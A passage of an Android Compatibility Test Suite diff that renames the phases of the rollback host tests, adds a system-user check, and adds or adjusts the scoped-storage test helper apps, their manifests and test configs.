* Commits TestApp.A2 as a staged install with rollback enabled.
*/
@Test
- public void testApkOnlyStagedRollback_Phase1() throws Exception {
+ public void testApkOnlyStagedRollback_Phase1_Install() throws Exception {
assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
Install.single(TestApp.A1).commit();
@@ -112,7 +112,7 @@
* rollback.
*/
@Test
- public void testApkOnlyStagedRollback_Phase2() throws Exception {
+ public void testApkOnlyStagedRollback_Phase2_RollBack() throws Exception {
assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
InstallUtils.processUserData(TestApp.A);
@@ -141,7 +141,7 @@
* Confirms TestApp.A2 was rolled back.
*/
@Test
- public void testApkOnlyStagedRollback_Phase3() throws Exception {
+ public void testApkOnlyStagedRollback_Phase3_Confirm() throws Exception {
assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
InstallUtils.processUserData(TestApp.A);
@@ -158,7 +158,7 @@
* Commits TestApp.A2 and TestApp.B2 as a staged install with rollback enabled.
*/
@Test
- public void testApkOnlyMultipleStagedRollback_Phase1() throws Exception {
+ public void testApkOnlyMultipleStagedRollback_Phase1_Install() throws Exception {
assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(-1);
@@ -175,7 +175,7 @@
* rollback.
*/
@Test
- public void testApkOnlyMultipleStagedRollback_Phase2() throws Exception {
+ public void testApkOnlyMultipleStagedRollback_Phase2_RollBack() throws Exception {
// Process TestApp.A
assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
InstallUtils.processUserData(TestApp.A);
@@ -220,7 +220,7 @@
* Confirms TestApp.A2 and TestApp.B2 was rolled back.
*/
@Test
- public void testApkOnlyMultipleStagedRollback_Phase3() throws Exception {
+ public void testApkOnlyMultipleStagedRollback_Phase3_Confirm() throws Exception {
// Process TestApp.A
assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
InstallUtils.processUserData(TestApp.A);
@@ -247,7 +247,7 @@
* Commits TestApp.A2 and TestApp.B2 as a staged install with rollback enabled.
*/
@Test
- public void testApkOnlyMultipleStagedPartialRollback_Phase1() throws Exception {
+ public void testApkOnlyMultipleStagedPartialRollback_Phase1_Install() throws Exception {
assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(-1);
@@ -264,7 +264,7 @@
* rollback.
*/
@Test
- public void testApkOnlyMultipleStagedPartialRollback_Phase2() throws Exception {
+ public void testApkOnlyMultipleStagedPartialRollback_Phase2_RollBack() throws Exception {
assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
InstallUtils.processUserData(TestApp.A);
RollbackInfo available = RollbackUtils.getAvailableRollback(TestApp.A);
@@ -289,7 +289,7 @@
* Confirms TestApp.A2 was rolled back.
*/
@Test
- public void testApkOnlyMultipleStagedPartialRollback_Phase3() throws Exception {
+ public void testApkOnlyMultipleStagedPartialRollback_Phase3_Confirm() throws Exception {
// Process TestApp.A
assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
InstallUtils.processUserData(TestApp.A);
@@ -311,7 +311,7 @@
* <p> We start by installing version 2. The test ultimately rolls back from 3 to 2.
*/
@Test
- public void testApexOnlyStagedRollback_Phase1() throws Exception {
+ public void testApexOnlyStagedRollback_Phase1_InstallFirst() throws Exception {
assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
Install.single(TestApp.Apex2).setStaged().commit();
}
@@ -321,7 +321,7 @@
* Enable rollback phase.
*/
@Test
- public void testApexOnlyStagedRollback_Phase2() throws Exception {
+ public void testApexOnlyStagedRollback_Phase2_InstallSecond() throws Exception {
assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
// keep the versions of the apks in shim apex for verifying in phase3
@@ -335,7 +335,7 @@
* Commit rollback phase.
*/
@Test
- public void testApexOnlyStagedRollback_Phase3() throws Exception {
+ public void testApexOnlyStagedRollback_Phase3_RollBack() throws Exception {
assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
long[] versions = retrieveApkInApexVersion();
@@ -374,7 +374,7 @@
* Confirm rollback phase.
*/
@Test
- public void testApexOnlyStagedRollback_Phase4() throws Exception {
+ public void testApexOnlyStagedRollback_Phase4_Confirm() throws Exception {
assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
// Rollback data for shim apex will remain in storage since the apex cannot be completely
@@ -386,7 +386,7 @@
* Test rollback to system version involving apex only
*/
@Test
- public void testApexOnlySystemVersionStagedRollback_Phase1() throws Exception {
+ public void testApexOnlySystemVersionStagedRollback_Phase1_Install() throws Exception {
assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
// keep the versions of the apks in shim apex for verifying in phase2
@@ -396,7 +396,7 @@
}
@Test
- public void testApexOnlySystemVersionStagedRollback_Phase2() throws Exception {
+ public void testApexOnlySystemVersionStagedRollback_Phase2_RollBack() throws Exception {
assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
long[] versions = retrieveApkInApexVersion();
@@ -431,7 +431,7 @@
}
@Test
- public void testApexOnlySystemVersionStagedRollback_Phase3() throws Exception {
+ public void testApexOnlySystemVersionStagedRollback_Phase3_Confirm() throws Exception {
assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
}
@@ -440,7 +440,7 @@
* Install first version phase.
*/
@Test
- public void testApexAndApkStagedRollback_Phase1() throws Exception {
+ public void testApexAndApkStagedRollback_Phase1_InstallFirst() throws Exception {
assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
@@ -452,7 +452,7 @@
* Enable rollback phase.
*/
@Test
- public void testApexAndApkStagedRollback_Phase2() throws Exception {
+ public void testApexAndApkStagedRollback_Phase2_InstallSecond() throws Exception {
assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
@@ -467,7 +467,7 @@
* Commit rollback phase.
*/
@Test
- public void testApexAndApkStagedRollback_Phase3() throws Exception {
+ public void testApexAndApkStagedRollback_Phase3_RollBack() throws Exception {
assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
InstallUtils.processUserData(TestApp.A);
@@ -511,7 +511,7 @@
* Confirm rollback phase.
*/
@Test
- public void testApexAndApkStagedRollback_Phase4() throws Exception {
+ public void testApexAndApkStagedRollback_Phase4_Confirm() throws Exception {
assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
InstallUtils.processUserData(TestApp.A);
@@ -542,7 +542,7 @@
* Enable rollback phase.
*/
@Test
- public void testApexRollbackExpiration_Phase1() throws Exception {
+ public void testApexRollbackExpiration_Phase1_InstallFirst() throws Exception {
assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
Install.single(TestApp.Apex2).setStaged().setEnableRollback().commit();
@@ -553,7 +553,7 @@
* Update apex phase.
*/
@Test
- public void testApexRollbackExpiration_Phase2() throws Exception {
+ public void testApexRollbackExpiration_Phase2_InstallSecond() throws Exception {
assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
assertThat(RollbackUtils.getAvailableRollback(SHIM_APEX_PACKAGE_NAME)).isNotNull();
Install.single(TestApp.Apex3).setStaged().commit();
@@ -564,7 +564,7 @@
* Confirm expiration phase.
*/
@Test
- public void testApexRollbackExpiration_Phase3() throws Exception {
+ public void testApexRollbackExpiration_Phase3_Confirm() throws Exception {
assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
assertThat(RollbackUtils.getAvailableRollback(SHIM_APEX_PACKAGE_NAME)).isNull();
}
@@ -573,7 +573,7 @@
* Test rollback with key downgrade for apex only
*/
@Test
- public void testApexKeyRotationStagedRollback_Phase1() throws Exception {
+ public void testApexKeyRotationStagedRollback_Phase1_Install() throws Exception {
assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
// keep the versions of the apks in shim apex for verifying in phase2
@@ -583,7 +583,7 @@
}
@Test
- public void testApexKeyRotationStagedRollback_Phase2() throws Exception {
+ public void testApexKeyRotationStagedRollback_Phase2_RollBack() throws Exception {
assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
RollbackInfo available = RollbackUtils.getAvailableRollback(SHIM_APEX_PACKAGE_NAME);
long[] versions = retrieveApkInApexVersion();
@@ -617,18 +617,18 @@
}
@Test
- public void testApexKeyRotationStagedRollback_Phase3() throws Exception {
+ public void testApexKeyRotationStagedRollback_Phase3_Confirm() throws Exception {
assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
}
@Test
- public void testApkRollbackByAnotherInstaller_Phase1() throws Exception {
+ public void testApkRollbackByAnotherInstaller_Phase1_FirstInstaller() throws Exception {
Install.single(TestApp.A1).commit();
Install.single(TestApp.A2).setEnableRollback().commit();
}
@Test
- public void testFingerprintChange_Phase1() throws Exception {
+ public void testFingerprintChange_Phase1_Install() throws Exception {
assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(-1);
@@ -639,19 +639,19 @@
}
@Test
- public void testFingerprintChange_Phase2() throws Exception {
+ public void testFingerprintChange_Phase2_Confirm() throws Exception {
assertThat(RollbackUtils.getRollbackManager().getAvailableRollbacks()).isEmpty();
}
@Test
- public void testRollbackFailsBlockingSessions_Phase1() throws Exception {
+ public void testRollbackFailsBlockingSessions_Phase1_Install() throws Exception {
assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
Install.single(TestApp.A1).commit();
Install.single(TestApp.A2).setStaged().setEnableRollback().commit();
}
@Test
- public void testRollbackFailsBlockingSessions_Phase2() throws Exception {
+ public void testRollbackFailsBlockingSessions_Phase2_RollBack() throws Exception {
assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
InstallUtils.processUserData(TestApp.A);
// Stage session for package A to check if it can block rollback of A
@@ -682,7 +682,7 @@
}
@Test
- public void testRollbackFailsBlockingSessions_Phase3() throws Exception {
+ public void testRollbackFailsBlockingSessions_Phase3_Confirm() throws Exception {
// Process TestApp.A
assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
InstallUtils.processUserData(TestApp.A);
diff --git a/hostsidetests/rollback/app2/src/com/android/cts/rollback/host/app2/HostTestHelper.java b/hostsidetests/rollback/app2/src/com/android/cts/rollback/host/app2/HostTestHelper.java
index 8f8bfac..f3e0468 100644
--- a/hostsidetests/rollback/app2/src/com/android/cts/rollback/host/app2/HostTestHelper.java
+++ b/hostsidetests/rollback/app2/src/com/android/cts/rollback/host/app2/HostTestHelper.java
@@ -61,7 +61,7 @@
}
@Test
- public void testApkRollbackByAnotherInstaller_Phase2() throws Exception {
+ public void testApkRollbackByAnotherInstaller_Phase2_SecondInstaller() throws Exception {
RollbackInfo rollbackA = RollbackUtils.waitForAvailableRollback(TestApp.A);
assertThat(rollbackA).packagesContainsExactly(Rollback.from(TestApp.A2).to(TestApp.A1));
RollbackUtils.rollback(rollbackA.getRollbackId());
diff --git a/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java b/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
index 976e406..7191353 100644
--- a/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
+++ b/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
@@ -19,9 +19,11 @@
import static com.google.common.truth.Truth.assertThat;
import static org.hamcrest.CoreMatchers.endsWith;
+import static org.hamcrest.CoreMatchers.equalTo;
import static org.hamcrest.CoreMatchers.not;
import static org.junit.Assume.assumeThat;
import static org.junit.Assume.assumeTrue;
+import static org.junit.Assume.assumeThat;
import android.cts.install.lib.host.InstallUtilsHost;
@@ -88,11 +90,11 @@
*/
@Test
public void testApkOnlyStagedRollback() throws Exception {
- run("testApkOnlyStagedRollback_Phase1");
+ run("testApkOnlyStagedRollback_Phase1_Install");
getDevice().reboot();
- run("testApkOnlyStagedRollback_Phase2");
+ run("testApkOnlyStagedRollback_Phase2_RollBack");
getDevice().reboot();
- run("testApkOnlyStagedRollback_Phase3");
+ run("testApkOnlyStagedRollback_Phase3_Confirm");
}
/**
@@ -103,11 +105,11 @@
assumeTrue("Device does not support file-system checkpoint",
mHostUtils.isCheckpointSupported());
- run("testApkOnlyMultipleStagedRollback_Phase1");
+ run("testApkOnlyMultipleStagedRollback_Phase1_Install");
getDevice().reboot();
- run("testApkOnlyMultipleStagedRollback_Phase2");
+ run("testApkOnlyMultipleStagedRollback_Phase2_RollBack");
getDevice().reboot();
- run("testApkOnlyMultipleStagedRollback_Phase3");
+ run("testApkOnlyMultipleStagedRollback_Phase3_Confirm");
}
/**
@@ -118,11 +120,11 @@
assumeTrue("Device does not support file-system checkpoint",
mHostUtils.isCheckpointSupported());
- run("testApkOnlyMultipleStagedPartialRollback_Phase1");
+ run("testApkOnlyMultipleStagedPartialRollback_Phase1_Install");
getDevice().reboot();
- run("testApkOnlyMultipleStagedPartialRollback_Phase2");
+ run("testApkOnlyMultipleStagedPartialRollback_Phase2_RollBack");
getDevice().reboot();
- run("testApkOnlyMultipleStagedPartialRollback_Phase3");
+ run("testApkOnlyMultipleStagedPartialRollback_Phase3_Confirm");
}
/**
@@ -132,13 +134,13 @@
public void testApexOnlyStagedRollback() throws Exception {
assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
- run("testApexOnlyStagedRollback_Phase1");
+ run("testApexOnlyStagedRollback_Phase1_InstallFirst");
getDevice().reboot();
- run("testApexOnlyStagedRollback_Phase2");
+ run("testApexOnlyStagedRollback_Phase2_InstallSecond");
getDevice().reboot();
- run("testApexOnlyStagedRollback_Phase3");
+ run("testApexOnlyStagedRollback_Phase3_RollBack");
getDevice().reboot();
- run("testApexOnlyStagedRollback_Phase4");
+ run("testApexOnlyStagedRollback_Phase4_Confirm");
}
/**
@@ -148,11 +150,11 @@
public void testApexOnlySystemVersionStagedRollback() throws Exception {
assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
- run("testApexOnlySystemVersionStagedRollback_Phase1");
+ run("testApexOnlySystemVersionStagedRollback_Phase1_Install");
getDevice().reboot();
- run("testApexOnlySystemVersionStagedRollback_Phase2");
+ run("testApexOnlySystemVersionStagedRollback_Phase2_RollBack");
getDevice().reboot();
- run("testApexOnlySystemVersionStagedRollback_Phase3");
+ run("testApexOnlySystemVersionStagedRollback_Phase3_Confirm");
}
/**
@@ -160,15 +162,22 @@
*/
@Test
public void testApexAndApkStagedRollback() throws Exception {
+ assumeSystemUser();
assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
- run("testApexAndApkStagedRollback_Phase1");
+ run("testApexAndApkStagedRollback_Phase1_InstallFirst");
getDevice().reboot();
- run("testApexAndApkStagedRollback_Phase2");
+ run("testApexAndApkStagedRollback_Phase2_InstallSecond");
getDevice().reboot();
- run("testApexAndApkStagedRollback_Phase3");
+ run("testApexAndApkStagedRollback_Phase3_RollBack");
getDevice().reboot();
- run("testApexAndApkStagedRollback_Phase4");
+ run("testApexAndApkStagedRollback_Phase4_Confirm");
+ }
+
+ private void assumeSystemUser() throws Exception {
+ String systemUser = "0";
+ assumeThat("Current user is not system user",
+ getDevice().executeShellCommand("am get-current-user").trim(), equalTo(systemUser));
}
/**
@@ -178,11 +187,11 @@
public void testApexRollbackExpiration() throws Exception {
assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
- run("testApexRollbackExpiration_Phase1");
+ run("testApexRollbackExpiration_Phase1_InstallFirst");
getDevice().reboot();
- run("testApexRollbackExpiration_Phase2");
+ run("testApexRollbackExpiration_Phase2_InstallSecond");
getDevice().reboot();
- run("testApexRollbackExpiration_Phase3");
+ run("testApexRollbackExpiration_Phase3_Confirm");
}
/**
@@ -192,11 +201,11 @@
public void testApexKeyRotationStagedRollback() throws Exception {
assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
- run("testApexKeyRotationStagedRollback_Phase1");
+ run("testApexKeyRotationStagedRollback_Phase1_Install");
getDevice().reboot();
- run("testApexKeyRotationStagedRollback_Phase2");
+ run("testApexKeyRotationStagedRollback_Phase2_RollBack");
getDevice().reboot();
- run("testApexKeyRotationStagedRollback_Phase3");
+ run("testApexKeyRotationStagedRollback_Phase3_Confirm");
}
/**
@@ -204,8 +213,8 @@
*/
@Test
public void testApkRollbackByAnotherInstaller() throws Exception {
- run("testApkRollbackByAnotherInstaller_Phase1");
- run2("testApkRollbackByAnotherInstaller_Phase2");
+ run("testApkRollbackByAnotherInstaller_Phase1_FirstInstaller");
+ run2("testApkRollbackByAnotherInstaller_Phase2_SecondInstaller");
}
/**
@@ -216,11 +225,11 @@
assumeTrue("Device does not support file-system checkpoint",
mHostUtils.isCheckpointSupported());
- run("testRollbackFailsBlockingSessions_Phase1");
+ run("testRollbackFailsBlockingSessions_Phase1_Install");
getDevice().reboot();
- run("testRollbackFailsBlockingSessions_Phase2");
+ run("testRollbackFailsBlockingSessions_Phase2_RollBack");
getDevice().reboot();
- run("testRollbackFailsBlockingSessions_Phase3");
+ run("testRollbackFailsBlockingSessions_Phase3_Confirm");
}
/**
@@ -233,9 +242,9 @@
try {
getDevice().executeShellCommand("setprop persist.pm.mock-upgrade true");
- run("testFingerprintChange_Phase1");
+ run("testFingerprintChange_Phase1_Install");
getDevice().reboot();
- run("testFingerprintChange_Phase2");
+ run("testFingerprintChange_Phase2_Confirm");
} finally {
getDevice().executeShellCommand("setprop persist.pm.mock-upgrade false");
}
diff --git a/hostsidetests/scopedstorage/Android.bp b/hostsidetests/scopedstorage/Android.bp
index fa5310e..6c7752c 100644
--- a/hostsidetests/scopedstorage/Android.bp
+++ b/hostsidetests/scopedstorage/Android.bp
@@ -18,6 +18,8 @@
static_libs: ["cts-scopedstorage-lib"],
sdk_version: "test_current",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+ // Tag as a CTS artifact
+ test_suites: ["device-tests", "mts", "cts"],
}
android_test_helper_app {
name: "CtsScopedStorageTestAppB",
@@ -25,6 +27,8 @@
static_libs: ["cts-scopedstorage-lib"],
sdk_version: "test_current",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+ // Tag as a CTS artifact
+ test_suites: ["device-tests", "mts", "cts"],
}
android_test_helper_app {
name: "CtsScopedStorageTestAppC",
@@ -32,6 +36,8 @@
static_libs: ["cts-scopedstorage-lib"],
sdk_version: "test_current",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+ // Tag as a CTS artifact
+ test_suites: ["device-tests", "mts", "cts"],
}
android_test_helper_app {
name: "CtsScopedStorageTestAppCLegacy",
@@ -40,6 +46,28 @@
sdk_version: "test_current",
target_sdk_version: "28",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+ // Tag as a CTS artifact
+ test_suites: ["device-tests", "mts", "cts"],
+}
+android_test_helper_app {
+ name: "CtsScopedStorageTestAppDLegacy",
+ manifest: "ScopedStorageTestHelper/TestAppDLegacy.xml",
+ static_libs: ["cts-scopedstorage-lib"],
+ sdk_version: "test_current",
+ target_sdk_version: "28",
+ srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+ // Tag as a CTS artifact
+ test_suites: ["device-tests", "mts", "cts"],
+}
+
+android_test_helper_app {
+ name: "CtsScopedStorageTestAppFileManager",
+ manifest: "ScopedStorageTestHelper/TestAppFileManager.xml",
+ static_libs: ["cts-scopedstorage-lib"],
+ sdk_version: "test_current",
+ srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+ // Tag as a CTS artifact
+ test_suites: ["device-tests", "mts", "cts"],
}
android_test_helper_app {
@@ -135,5 +163,7 @@
":CtsScopedStorageTestAppB",
":CtsScopedStorageTestAppC",
":CtsScopedStorageTestAppCLegacy",
+ ":CtsScopedStorageTestAppDLegacy",
+ ":CtsScopedStorageTestAppFileManager",
]
}
diff --git a/hostsidetests/scopedstorage/AndroidTest.xml b/hostsidetests/scopedstorage/AndroidTest.xml
index 2364e37..8749087 100644
--- a/hostsidetests/scopedstorage/AndroidTest.xml
+++ b/hostsidetests/scopedstorage/AndroidTest.xml
@@ -24,6 +24,9 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="ScopedStorageTest.apk" />
<option name="test-file-name" value="LegacyStorageTest.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppA.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppB.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppDLegacy.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.HostTest" >
<option name="class" value="android.scopedstorage.cts.host.LegacyStorageHostTest" />
diff --git a/hostsidetests/scopedstorage/CoreTest.xml b/hostsidetests/scopedstorage/CoreTest.xml
index c251d10..b7922c9 100644
--- a/hostsidetests/scopedstorage/CoreTest.xml
+++ b/hostsidetests/scopedstorage/CoreTest.xml
@@ -23,6 +23,9 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="ScopedStorageTest.apk" />
<option name="test-file-name" value="LegacyStorageTest.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppA.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppB.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppDLegacy.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.HostTest" >
<option name="class" value="android.scopedstorage.cts.host.ScopedStorageCoreHostTest" />
diff --git a/hostsidetests/scopedstorage/OWNERS b/hostsidetests/scopedstorage/OWNERS
index 3593b8a..ed4dc2a 100644
--- a/hostsidetests/scopedstorage/OWNERS
+++ b/hostsidetests/scopedstorage/OWNERS
@@ -1,6 +1 @@
-corinac@google.com
-jsharkey@android.com
-maco@google.com
-nandana@google.com
-zezeozue@google.com
-sahanas@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/scopedstorage/PublicVolumeTest.xml b/hostsidetests/scopedstorage/PublicVolumeTest.xml
index e70217f..1dc4017 100644
--- a/hostsidetests/scopedstorage/PublicVolumeTest.xml
+++ b/hostsidetests/scopedstorage/PublicVolumeTest.xml
@@ -19,6 +19,9 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="ScopedStorageTest.apk" />
<option name="test-file-name" value="LegacyStorageTest.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppA.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppB.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppDLegacy.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.HostTest" >
<option name="class" value="android.scopedstorage.cts.host.PublicVolumeHostTest" />
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppA.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppA.xml
index fa704dd..d2a2882 100644
--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppA.xml
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppA.xml
@@ -15,12 +15,11 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.scopedstorage.cts.testapp.A"
+ package="android.scopedstorage.cts.testapp.A.withres"
android:versionCode="1"
android:versionName="1.0" >
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
- <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
<application android:label="TestAppA">
<activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
@@ -33,7 +32,7 @@
<provider
android:name="androidx.core.content.FileProvider"
- android:authorities="android.scopedstorage.cts.testapp.A"
+ android:authorities="android.scopedstorage.cts.testapp.A.withres"
android:exported="false"
android:grantUriPermissions="true">
<meta-data
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppB.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppB.xml
index effc5fc..7badc29 100644
--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppB.xml
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppB.xml
@@ -15,13 +15,10 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.scopedstorage.cts.testapp.B"
+ package="android.scopedstorage.cts.testapp.B.noperms"
android:versionCode="1"
android:versionName="1.0" >
- <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
- <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
-
<application android:label="TestAppB">
<activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
<intent-filter>
@@ -33,7 +30,7 @@
<provider
android:name="androidx.core.content.FileProvider"
- android:authorities="android.scopedstorage.cts.testapp.B"
+ android:authorities="android.scopedstorage.cts.testapp.B.noperms"
android:exported="false"
android:grantUriPermissions="true">
<meta-data
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppDLegacy.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppDLegacy.xml
new file mode 100644
index 0000000..18f49dc
--- /dev/null
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppDLegacy.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.scopedstorage.cts.testapp.D"
+ android:versionCode="1"
+ android:versionName="1.0" >
+
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+
+ <application android:label="TestAppDLegacy">
+ <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT"/>
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ <provider
+ android:name="androidx.core.content.FileProvider"
+ android:authorities="android.scopedstorage.cts.testapp.D"
+ android:exported="false"
+ android:grantUriPermissions="true">
+ <meta-data
+ android:name="android.support.FILE_PROVIDER_PATHS"
+ android:resource="@xml/file_paths" />
+ </provider>
+ </application>
+</manifest>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppFileManager.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppFileManager.xml
new file mode 100644
index 0000000..1956d34
--- /dev/null
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppFileManager.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.scopedstorage.cts.testapp.filemanager"
+ android:versionCode="1"
+ android:versionName="1.0" >
+
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
+
+ <application android:label="TestAppFileManager">
+ <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT"/>
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ <provider
+ android:name="androidx.core.content.FileProvider"
+ android:authorities="android.scopedstorage.cts.testapp.filemanager"
+ android:exported="false"
+ android:grantUriPermissions="true">
+ <meta-data
+ android:name="android.support.FILE_PROVIDER_PATHS"
+ android:resource="@xml/file_paths" />
+ </provider>
+ </application>
+</manifest>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
index f71586f..11efea1 100644
